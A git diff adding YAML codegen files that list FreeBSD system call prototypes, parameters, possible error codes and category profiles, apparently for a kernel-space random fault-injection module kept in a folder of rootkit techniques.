- ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/semop.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/semop.yml new file mode 100644 index 0000000..c46c434 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/semop.yml @@ -0,0 +1,14 @@ +proto: struct thread *td, struct semop_args *uap +parms: td, uap +errors: + - EINVAL + - EACCES + - EAGAIN + - E2BIG + - EFBIG + - EIDRM + - EINTR + - ENOSPC + - ERANGE +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sendfile.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sendfile.yml new file mode 100644 index 0000000..dbe0477 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sendfile.yml @@ -0,0 +1,19 @@ +proto: struct thread *td, struct sendfile_args *uap +parms: td, uap +errors: + - EAGAIN + - EBADF + - EBUSY + - EFAULT + - EINTR + - EINVAL + - EINVAL + - EIO + - ENOTCAPABLE + - ENOBUFS + - ENOTCONN + - ENOTSOCK + - EOPNOTSUPP + - EPIPE +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sendmsg.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sendmsg.yml new file mode 100644 index 0000000..68df504 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sendmsg.yml @@ -0,0 +1,19 @@ +proto: struct thread *td, struct sendmsg_args *uap +parms: td, uap +errors: + - EBADF + - EACCES + - ENOTSOCK + - EFAULT + - EMSGSIZE + - EAGAIN + - ENOBUFS + - EHOSTUNREACH + - EISCONN + - ECONNREFUSED + - EHOSTDOWN + - ENETDOWN + - EADDRNOTAVAIL + - EPIPE +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sendto.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sendto.yml new file mode 100644 index 0000000..323428d --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sendto.yml @@ -0,0 +1,19 @@ +proto: struct thread *td, struct sendto_args *uap +parms: td, uap +errors: + - EBADF + - EACCES + - ENOTSOCK + - EFAULT + - EMSGSIZE + - EAGAIN + - ENOBUFS + - EHOSTUNREACH + - EISCONN + - ECONNREFUSED + - EHOSTDOWN + - ENETDOWN + - EADDRNOTAVAIL + - EPIPE +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setegid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setegid.yml new file mode 100644 index 0000000..e1b58a7 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setegid.yml @@ -0,0 +1,4 @@ +proto: struct thread *td, struct setegid_args *uap +parms: td, uap +errors: + - EPERM diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/seteuid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/seteuid.yml new file mode 100644 index 0000000..381315b --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/seteuid.yml @@ -0,0 +1,4 @@ +proto: struct thread *td, struct seteuid_args *uap +parms: td, uap +errors: + - EPERM diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setfib.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setfib.yml new file mode 100644 index 0000000..1cc7424 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setfib.yml @@ -0,0 +1,4 @@ +proto: struct thread *td, struct setfib_args *uap +parms: td, uap +errors: + - EPERM diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setgid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setgid.yml new file mode 100644 index 0000000..d88490c --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setgid.yml @@ -0,0 +1,4 @@ +proto: struct thread *td, struct setgid_args *uap +parms: td, uap +errors: + - EPERM diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setgroups.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setgroups.yml new file mode 100644 index 0000000..9d69a2d --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setgroups.yml @@ -0,0 +1,6 @@ +proto: struct thread *td, struct setgroups_args *uap +parms: td, uap +errors: + - EPERM + - EINVAL + - EFAULT diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setitimer.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setitimer.yml new file mode 100644 index 0000000..6508865 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setitimer.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct setitimer_args *uap +parms: td, uap +errors: + - EFAULT + - EINVAL +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setlogin.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setlogin.yml new file mode 100644 index 0000000..4b7c2c7 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setlogin.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct setlogin_args *uap +parms: td, uap +errors: + - EFAULT + - EINVAL + - EPERM + - ERANGE diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setloginclass.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setloginclass.yml new file mode 100644 index 0000000..2107e14 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setloginclass.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct setloginclass_args *uap +parms: td, uap +errors: + - EFAULT + - EINVAL + - EPERM + - ENAMETOOLONG diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setpgid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setpgid.yml new file mode 100644 index 0000000..55c4530 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setpgid.yml @@ -0,0 +1,8 @@ +proto: struct thread *td, struct setpgid_args *uap +parms: td, uap +errors: + - EINVAL + - ESRCH + - ESRCH + - EACCES + - EPERM diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setpriority.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setpriority.yml new file mode 100644 index 0000000..ea9bdca --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setpriority.yml @@ -0,0 +1,9 @@ +proto: struct thread *td, struct setpriority_args *uap +parms: td, uap +errors: + - ESRCH + - EINVAL + - EPERM + - EACCES +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setregid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setregid.yml new file mode 100644 index 0000000..e273688 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setregid.yml @@ -0,0 +1,4 @@ +proto: struct thread *td, struct setregid_args *uap +parms: td, uap +errors: + - EPERM diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setresgid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setresgid.yml new file mode 100644 index 0000000..6c3048c --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setresgid.yml @@ -0,0 +1,5 @@ +proto: struct thread *td, struct setresgid_args *uap +parms: td, uap +errors: + - EPERM + - EFAULT diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setresuid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setresuid.yml new file mode 100644 index 0000000..52aae72 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setresuid.yml @@ -0,0 +1,5 @@ +proto: struct thread *td, struct setresuid_args *uap +parms: td, uap +errors: + - EPERM + - EFAULT diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setreuid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setreuid.yml new file mode 100644 index 0000000..c21e7b3 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setreuid.yml @@ -0,0 +1,4 @@ +proto: struct thread *td, struct setreuid_args *uap +parms: td, uap +errors: + - EPERM diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setsid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setsid.yml new file mode 100644 index 0000000..dea4f50 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setsid.yml @@ -0,0 +1,4 @@ +proto: struct thread *td, struct setsid_args *uap +parms: td, uap +errors: + - EPERM diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setsockopt.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setsockopt.yml new file mode 100644 index 0000000..348ffff --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setsockopt.yml @@ -0,0 +1,11 @@ +proto: struct thread *td, struct setsockopt_args *uap +parms: td, uap +errors: + - EBADF + - ENOTSOCK + - ENOPROTOOPT + - EFAULT + - EINVAL + - ENOMEM +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/settimeofday.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/settimeofday.yml new file mode 100644 index 0000000..6c51f05 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/settimeofday.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct settimeofday_args *uap +parms: td, uap +errors: + - EINVAL + - EPERM +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setuid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setuid.yml new file mode 100644 index 0000000..053a226 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setuid.yml @@ -0,0 +1,4 @@ +proto: struct thread *td, struct setuid_args *uap +parms: td, uap +errors: + - EPERM diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/shm_open.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/shm_open.yml new file mode 100644 index 0000000..fe0df32 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/shm_open.yml @@ -0,0 +1,14 @@ +proto: struct thread *td, struct shm_open_args *uap +parms: td, uap +errors: + - EMFILE + - ENFILE + - EINVAL + - EFAULT + - ENAMETOOLONG + - EINVAL + - ENOENT + - EEXIST + - EACCES +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/shm_unlink.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/shm_unlink.yml new file mode 100644 index 0000000..ea3d546 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/shm_unlink.yml @@ -0,0 +1,9 @@ +proto: struct thread *td, struct shm_unlink_args *uap +parms: td, uap +errors: + - EFAULT + - ENAMETOOLONG + - ENOENT + - EACCES +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/shmat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/shmat.yml new file mode 100644 index 0000000..248b0aa --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/shmat.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct shmat_args *uap +parms: td, uap +errors: + - EINVAL + - EMFILE +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/shmctl.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/shmctl.yml new file mode 100644 index 0000000..30080df --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/shmctl.yml @@ -0,0 +1,8 @@ +proto: struct thread *td, struct shmctl_args *uap +parms: td, uap +errors: + - EINVAL + - EPERM + - EACCES +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/shmdt.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/shmdt.yml new file mode 100644 index 0000000..ada1b97 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/shmdt.yml @@ -0,0 +1,6 @@ +proto: struct thread *td, struct shmdt_args *uap +parms: td, uap +errors: + - EINVAL +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/shmget.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/shmget.yml new file mode 100644 index 0000000..e25a843 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/shmget.yml @@ -0,0 +1,9 @@ +proto: struct thread *td, struct shmget_args *uap +parms: td, uap +errors: + - EINVAL + - ENOENT + - ENOSPC + - EEXIST +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/shutdown.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/shutdown.yml new file mode 100644 index 0000000..9fa3043 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/shutdown.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct shutdown_args *uap +parms: td, uap +errors: + - EBADF + - EINVAL + - ENOTCONN + - ENOTSOCK diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigaction.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigaction.yml new file mode 100644 index 0000000..1046b4d --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigaction.yml @@ -0,0 +1,4 @@ +proto: struct thread *td, struct sigaction_args *uap +parms: td, uap +errors: + - EINVAL diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigaltstack.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigaltstack.yml new file mode 100644 index 0000000..3a9616c --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigaltstack.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct sigaltstack_args *uap +parms: td, uap +errors: + - EFAULT + - EPERM + - EINVAL + - ENOMEM diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigpending.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigpending.yml new file mode 100644 index 0000000..b6ad63f --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigpending.yml @@ -0,0 +1,4 @@ +proto: struct thread *td, struct sigpending_args *uap +parms: td, uap +errors: + - EFAULT diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigprocmask.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigprocmask.yml new file mode 100644 index 0000000..5cf8690 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigprocmask.yml @@ -0,0 +1,4 @@ +proto: struct thread *td, struct sigprocmask_args *uap +parms: td, uap +errors: + - EINVAL diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigqueue.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigqueue.yml new file mode 100644 index 0000000..6d1f71f --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigqueue.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct sigqueue_args *uap +parms: td, uap +errors: + - EAGAIN + - EINVAL + - EPERM + - ESRCH diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigreturn.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigreturn.yml new file mode 100644 index 0000000..27535b3 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigreturn.yml @@ -0,0 +1,5 @@ +proto: struct thread *td, struct sigreturn_args *uap +parms: td, uap +errors: + - EFAULT + - EINVAL diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigsuspend.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigsuspend.yml new file mode 100644 index 0000000..6e6d659 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigsuspend.yml @@ -0,0 +1,4 @@ +proto: struct thread *td, struct sigsuspend_args *uap +parms: td, uap +errors: + - EINTR diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigtimedwait.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigtimedwait.yml new file mode 100644 index 0000000..9d45874 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigtimedwait.yml @@ -0,0 +1,6 @@ +proto: struct thread *td, struct sigtimedwait_args *uap +parms: td, uap +errors: + - EINVAL + - EAGAIN + - EINTR diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigwait.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigwait.yml new file mode 100644 index 0000000..be7ab1b --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigwait.yml @@ -0,0 +1,4 @@ +proto: struct thread *td, struct sigwait_args *uap +parms: td, uap +errors: + - EINVAL diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigwaitinfo.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigwaitinfo.yml new file mode 100644 index 0000000..697b030 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigwaitinfo.yml @@ -0,0 +1,4 @@ +proto: struct thread *td, struct sigwaitinfo_args *uap +parms: td, uap +errors: + - EINTR diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/socket.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/socket.yml new file mode 100644 index 0000000..3aa609e --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/socket.yml @@ -0,0 +1,13 @@ +proto: struct thread *td, struct socket_args *uap +parms: td, uap +errors: + - EACCES + - EAFNOSUPPORT + - EMFILE + - ENFILE + - ENOBUFS + - EPERM + - EPROTONOSUPPORT + - EPROTOTYPE +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/socketpair.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/socketpair.yml new file mode 100644 index 0000000..b781839 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/socketpair.yml @@ -0,0 +1,10 @@ +proto: struct thread *td, struct socketpair_args *uap +parms: td, uap +errors: + - EMFILE + - EAFNOSUPPORT + - EPROTONOSUPPORT + - EOPNOTSUPP + - EFAULT +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/statfs.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/statfs.yml new file mode 100644 index 0000000..b73e102 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/statfs.yml @@ -0,0 +1,12 @@ +proto: struct thread *td, struct statfs_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EFAULT + - EIO +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/swapoff.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/swapoff.yml new file mode 100644 index 0000000..eef22e6 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/swapoff.yml @@ -0,0 +1,14 @@ +proto: struct thread *td, struct swapoff_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EPERM + - EFAULT + - EINVAL + - ENOMEM +profiles: + - mem diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/swapon.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/swapon.yml new file mode 100644 index 0000000..d3ccb56 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/swapon.yml @@ -0,0 +1,16 @@ +proto: struct thread *td, struct swapon_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EPERM + - EFAULT + - ENOTBLK + - EBUSY + - ENXIO + - EIO +profiles: + - mem diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/symlink.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/symlink.yml new file mode 100644 index 0000000..50e0a7b --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/symlink.yml @@ -0,0 +1,18 @@ +proto: struct thread *td, struct symlink_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EEXIST + - EPERM + - EIO + - EROFS + - ENOSPC + - EDQUOT + - EIO + - EFAULT +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/symlinkat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/symlinkat.yml new file mode 100644 index 0000000..fc7ab58 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/symlinkat.yml @@ -0,0 +1,20 @@ +proto: struct thread *td, struct symlinkat_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EEXIST + - EPERM + - EIO + - EROFS + - ENOSPC + - EDQUOT + - EIO + - EFAULT + - EBADF + - ENOTDIR +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/thr_new.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/thr_new.yml new file mode 100644 index 0000000..4d27444 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/thr_new.yml @@ -0,0 +1,8 @@ +proto: struct thread *td, struct thr_new_args *uap +parms: td, uap +errors: + - EINVAL + - EPROCLIM + - EFAULT +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/truncate.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/truncate.yml new file mode 100644 index 0000000..6300889 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/truncate.yml @@ -0,0 +1,18 @@ +proto: struct thread *td, struct truncate_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EPERM + - EISDIR + - EROFS + - ETXTBSY + - EFBIG + - EINVAL + - EIO + - EFAULT +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/undelete.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/undelete.yml new file mode 100644 index 0000000..a6c794d --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/undelete.yml @@ -0,0 +1,16 @@ +proto: struct thread *td, struct undelete_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - EEXIST + - ENOENT + - EACCES + - ELOOP + - EPERM + - EINVAL + - EIO + - EROFS + - EFAULT +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/unlink.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/unlink.yml new file mode 100644 index 0000000..e08f102 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/unlink.yml @@ -0,0 +1,16 @@ +proto: struct thread *td, struct unlink_args *uap +parms: td, uap +errors: + - ENOTDIR + - EISDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EPERM + - EIO + - EROFS + - EFAULT + - ENOSPC +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/unlinkat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/unlinkat.yml new file mode 100644 index 0000000..8ef5633 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/unlinkat.yml @@ -0,0 +1,21 @@ +proto: struct thread *td, struct unlinkat_args *uap +parms: td, uap +errors: + - ENOTDIR + - EISDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EPERM + - EIO + - EROFS + - EFAULT + - ENOSPC + - EBADF + - ENOTEMPTY + - ENOTDIR + - EINVAL + - ENOTDIR +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/unmount.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/unmount.yml new file mode 100644 index 0000000..54ecf8a --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/unmount.yml @@ -0,0 +1,12 @@ +proto: struct thread *td, struct unmount_args *uap +parms: td, uap +errors: + - EPERM + - ENAMETOOLONG + - EINVAL + - ENOENT + - EBUSY + - EIO + - EFAULT +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/utimensat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/utimensat.yml new file mode 100644 index 0000000..a58742e --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/utimensat.yml @@ -0,0 +1,17 @@ +proto: struct thread *td, struct utimensat_args *uap +parms: td, uap +errors: + - EFAULT + - EINVAL + - EIO + - EPERM + - EACCES + - EPERM + - EROFS + - EBADF + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOTDIR +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/utimes.yml b/Linux/Rootkit Techniques/Kernelspace Randomized 